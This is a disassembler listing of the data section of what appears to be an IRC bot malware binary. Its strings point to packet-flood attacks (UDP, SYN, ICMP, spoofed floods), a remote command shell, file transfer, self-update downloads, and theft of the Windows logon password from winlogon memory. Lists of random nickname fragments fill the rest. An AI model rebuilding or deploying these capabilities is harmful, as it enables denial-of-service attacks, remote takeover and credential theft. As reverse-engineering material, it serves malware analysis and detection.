asc_437974 db '-' ; DATA XREF: sub_413A29+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
; char asc_437994[]
asc_437994 db '-' ; DATA XREF: sub_413A29+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
; char asc_4379C4[]
asc_4379C4 db '-' ; DATA XREF: sub_413A29+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 10h
; char asc_4379F0[]
asc_4379F0 db '-' ; DATA XREF: sub_413E10+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
; char asc_437A1C[]
asc_437A1C db '-' ; DATA XREF: sub_413E10+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
; char asc_437A44[]
asc_437A44 db '-' ; DATA XREF: sub_413F9C+1C6o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 10h
; char asc_437A70[]
asc_437A70 db '-' ; DATA XREF: sub_413F9C+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
; char asc_437A98[]
asc_437A98 db '-' ; DATA XREF: sub_4141B2+4Bo
db 3, 34h, 2
dd 73796B73h, 3026E79h
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
; char asc_437AC4[]
asc_437AC4 db '-' ; DATA XREF: sub_414358+4Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
; char asc_437AEC[]
asc_437AEC db '-' ; DATA XREF: sub_4143F7+27Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
; char asc_437B0C[]
asc_437B0C db '-' ; DATA XREF: sub_414703+4Fo
db 3, 34h, 2
dd 67726174h, 3023361h
aDoneWithFlood_ db '- Done with flood.',0
align 4
; char asc_437B2C[]
asc_437B2C db '-' ; DATA XREF: sub_4149C1+4EBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
; char asc_437B7C[]
asc_437B7C db '-' ; DATA XREF: sub_4149C1+44Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
; char asc_437BCC[]
asc_437BCC db '-' ; DATA XREF: sub_4149C1+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
; char asc_437BEC[]
asc_437BEC db '-' ; DATA XREF: sub_4149C1+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
; char asc_437C24[]
asc_437C24 db '-' ; DATA XREF: sub_4149C1+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 4
; char asc_437C58[]
asc_437C58 db '-' ; DATA XREF: sub_414F57+66o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
; char asc_437C8C[]
asc_437C8C db '-' ; DATA XREF: sub_41525A+4Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
unk_437CCC db 2Dh ; - ; DATA XREF: sub_4152D1+345o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
; char asc_437D58[]
asc_437D58 db '-' ; DATA XREF: sub_4152D1+2F3o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
; char asc_437DBC[]
asc_437DBC db '-' ; DATA XREF: sub_4152D1+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
; char asc_437DE8[]
asc_437DE8 db '-' ; DATA XREF: sub_4152D1+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_437E2C db 2Dh ; - ; DATA XREF: sub_4152D1+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
; char asc_437E7C[]
asc_437E7C db '-' ; DATA XREF: sub_4152D1+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
; char asc_437EA8[]
asc_437EA8 db '-' ; DATA XREF: sub_41561D+60o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
; char aSD[]
aSD db '%s%d ',0 ; DATA XREF: sub_4157BA+204o
align 4
; char aD_[]
aD_ db '%d. ' ; DATA XREF: sub_415CC0+35o
dd 73253403h, 203D2003h, 73253703h, 3
dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
align 4
dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415DD8+20o
; char asc_437F50[]
asc_437F50 db '-' ; DATA XREF: sub_415E4B+DCo
db 3, 34h, 2
dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch
dd 0
dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_415E4B+3Fo
dd 676E6974h, 0
; char asc_437F88[]
asc_437F88 db '-' ; DATA XREF: sub_416000+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
; char asc_437FBC[]
asc_437FBC db '-' ; DATA XREF: sub_416000+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
; char asc_437FEC[]
asc_437FEC db '-' ; DATA XREF: sub_416000+47o
; sub_4161C1+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
; char asc_438010[]
asc_438010 db '-' ; DATA XREF: sub_4161C1+362o
; sub_416563+156o
db 3, 34h, 2
dd 2636364h, 73202D03h, 656B636Fh, 72652074h, 726F72h
; char asc_438028[]
asc_438028 db '-' ; DATA XREF: sub_4161C1+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
; char asc_438054[]
asc_438054 db '-' ; DATA XREF: sub_4161C1+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_4161C1+1CBo
dd 74756Fh
; char dword_438090
dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_4161C1+16Ao
dd 169h
unk_4380A8 db 2Dh ; - ; DATA XREF: sub_4161C1+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_4380C8 db 2Dh ; - ; DATA XREF: sub_4161C1+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_4380EC db 2Dh ; - ; DATA XREF: sub_4161C1+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
; char asc_438110[]
asc_438110 db '-' ; DATA XREF: sub_416563+1D1o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
; char asc_43813C[]
asc_43813C db '-' ; DATA XREF: sub_416563+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43815C db 2Dh ; - ; DATA XREF: sub_416563+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
; char aAB[]
aAB db 'a+b',0 ; DATA XREF: sub_416563+97o
unk_43818C db 2Dh ; - ; DATA XREF: sub_416563+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
; char asc_4381BC[]
asc_4381BC db '-' ; DATA XREF: sub_4167A0+493o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_4381E8 db 2Dh ; - ; DATA XREF: sub_4167A0+485o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
; char asc_43821C[]
asc_43821C db '-' ; DATA XREF: sub_4167A0+3C9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
; char asc_438260[]
asc_438260 db '-' ; DATA XREF: sub_4167A0+358o
db 3, 34h, 2
dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h
dd 73h
; char asc_43827C[]
asc_43827C db '-' ; DATA XREF: sub_4167A0+2E1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
; char asc_4382B4[]
asc_4382B4 db '-' ; DATA XREF: sub_4167A0+262o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
; char asc_4382DC[]
asc_4382DC db '-' ; DATA XREF: sub_4167A0+1D8o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
; char asc_438308[]
asc_438308 db '-' ; DATA XREF: sub_4167A0+195o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_438330 db 2Dh ; - ; DATA XREF: sub_4167A0+183o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
; char asc_438358[]
asc_438358 db '-' ; DATA XREF: sub_4167A0+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo
; sub_419443+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o
aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o
align 4
off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo
; sub_41AF8F:loc_41B091r
align 10h
; char aFailed[]
aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o
; sub_416EFD+3Bo
align 4
; char aSkb[]
aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co
align 10h
; char asc_4383C0[]
asc_4383C0 db '-' ; DATA XREF: sub_416EFD+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
; char asc_4383FC[]
asc_4383FC db '-' ; DATA XREF: sub_416EFD+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
; char aA_1[]
aA_1 db 'A:\',0 ; DATA XREF: sub_416FCF:loc_417014o
; char asc_43843C[]
asc_43843C db '-' ; DATA XREF: sub_417054+C8o
db 3, 34h, 2
dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h
dd 6C696620h, 7365h
; char asc_43845C[]
asc_43845C db '-' ; DATA XREF: sub_417054+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
; char asc_438484[]
asc_438484 db '-' ; DATA XREF: sub_41716F+107o
db 3, 34h, 2
dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h
dd 73255Ch
; char aS_3[]
aS_3 db '%s\*',0 ; DATA XREF: sub_41716F+1Ao
align 4
; char asc_4384A8[]
asc_4384A8 db '-' ; DATA XREF: sub_4172C1:loc_41743Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
; char asc_4384DC[]
asc_4384DC db '-' ; DATA XREF: sub_4172C1:loc_41740Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
; char asc_438540[]
asc_438540 db '-' ; DATA XREF: sub_4172C1+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_4172C1+DCo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_4172C1+CEo
unicode 0, <USERNAME>,0
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
; sub_4172C1+161o ...
align 4
unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
; char aMsgina[]
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo
align 10h
; char aNwgina[]
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o
align 4
; char aWinlogon[]
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo
align 4
; char asc_4386C4[]
asc_4386C4 db '-' ; DATA XREF: sub_4178F9+70o
; sub_417990+C7o
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 295325h
; char asc_438714[]
asc_438714 db '-' ; DATA XREF: sub_417990+E1o
db 3, 34h, 2
dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh
dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h
dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h
dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h
; char *off_438768
off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr
; "q"
dd offset dword_439318
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_439314
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_5 ; "s"
dd offset dword_439310
dd offset dword_43930C
dd offset dword_439308
dd offset dword_439304
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_439300
dd offset dword_4392FC
dd offset dword_4392F8
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_4392F4
dd offset aN ; "n"
dd offset aM_0 ; "m"
dd offset dword_4392F0
dd offset dword_4392EC
dd offset dword_4392E8
dd offset dword_4392E4
dd offset dword_4392E0
dd offset word_4392DC
dd offset dword_4392D8
dd offset aI_0 ; "I"
dd offset dword_4392D4
dd offset dword_4392D0
dd offset aA_0 ; "A"
dd offset dword_4392CC
dd offset dword_4392C8
dd offset dword_4392C4
dd offset dword_4392C0
dd offset dword_4392BC
dd offset dword_4392B8
dd offset dword_4392B4
dd offset dword_4392B0
dd offset dword_4392AC
dd offset dword_4392A8
dd offset dword_4392A4
dd offset dword_4392A0
dd offset dword_43929C
dd offset word_439298
dd offset aM_1 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_43902C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438E98
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
; char *off_438A68
off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r
; sub_417E84+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_4392F4
dd offset aC ; "c"
dd offset dword_439310
dd offset aE ; "e"
dd offset dword_43930C
dd offset dword_439308
dd offset dword_439304
dd offset aI ; "i"
dd offset a_ ; "_"
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_439300
dd offset aM_0 ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_439318
dd offset dword_4392F8
dd offset dword_439314
dd offset dword_4392FC
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_4392FC
dd offset dword_439308
dd offset aS_5 ; "s"
dd offset aQ ; "q"
dd offset off_438CB8
dd offset aBbl ; "|bbl"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset a___0 ; "_|_"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392C4
dd offset aM_1 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_3 ; "^^^f^"
dd offset dword_4392F4
dd offset byte_43DB88
dd offset aSleeping ; "Sleeping"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset byte_43DB88
dd offset byte_43DB88
dd offset dword_4392A8
dd offset byte_43DB88
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot_0 ; "tot"
dd offset aLol ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset a4u ; "|4u|"
dd offset dword_438C04
dd offset dword_438C00
dword_438C00 dd 7536h ; DATA XREF: .data:00438BFCo
dword_438C04 dd 7535h ; DATA XREF: .data:00438BF8o
a4u db '|4u|',0 ; DATA XREF: .data:00438BF4o
align 10h
